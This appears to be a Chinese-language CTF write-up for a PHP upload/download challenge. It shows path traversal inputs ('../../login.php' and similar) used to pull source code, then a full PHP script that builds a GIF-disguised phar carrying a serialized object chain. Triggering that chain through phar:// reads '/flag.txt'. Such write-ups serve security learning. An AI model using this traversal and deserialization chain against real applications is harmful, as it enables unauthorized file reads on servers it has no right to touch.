我能说什么呢?好题,至少对于我这个新手真的震惊到了
首先是干吗呢?
是尝试一下注入,发现没用所以开始疯狂抓包
在点到下载的时候蹦出来
也就是说filename任我写是吧,所以我们开始找一些可以找到的文件
捕捉的到的话,一个注册,一个登录,一个上传文件,一个下载,一个删除
也就是
../../register.php ../../login.php ../../upload.php ../../download.php ../../delete.php 
 
考验你英语词汇的时候到了
在这些文件里又发现了一个class.php‘
一起下下来
之后就是长长的审计代码
发现几个有用消息
格式限制
不能上传带flag的文件
还有,就是
发现两个魔术头
一个call一个destruct
怎么说呢
__call()魔术方法会在对象调用的方法不存在时,自动执行
所以我们后续要照一照有没有调用不存在的对象
在index.php里
还有一个就是
也就是说,我只有可能从这个读到数据呗
而在destruct中应用了
所以说,emm
我们要想办法使用到这个
接下来就是重点
phar文件 这个文件的特点就是将一个学历恶化的对象存储到phar文件中生成之后,即使更改文件格式,也不会影响作用,之后再通过phar://协议去访问,就可以反序列化
也就是说,我们需要
创建一个phar文件,存储序列化对象,并在最后通过协议去读取
<?php class User {     public $db; } class File {     public $filename; } class FileList {     private $files;     private $results;     private $funcs;     public function __construct() {         $this->files = array();         $this->results = array();         $this->funcs = array();         $file = new File();         $file->filename = '/flag.txt';	# 这里的flag.txt是多次猜测出来的         array_push($this->files, $file);     } } $user = new User(); $filelist = new FileList(); $user->db = $filelist; $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");  //设置stub,增加gif文件头 $phar->setMetadata($user); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?> 
 
脚本如下(直接下到脚本所在文件夹)
之后,上传读取即可
读取方式:
先上传,再删除,抓包,再使用伪协议读取,触发反序列化,读取flag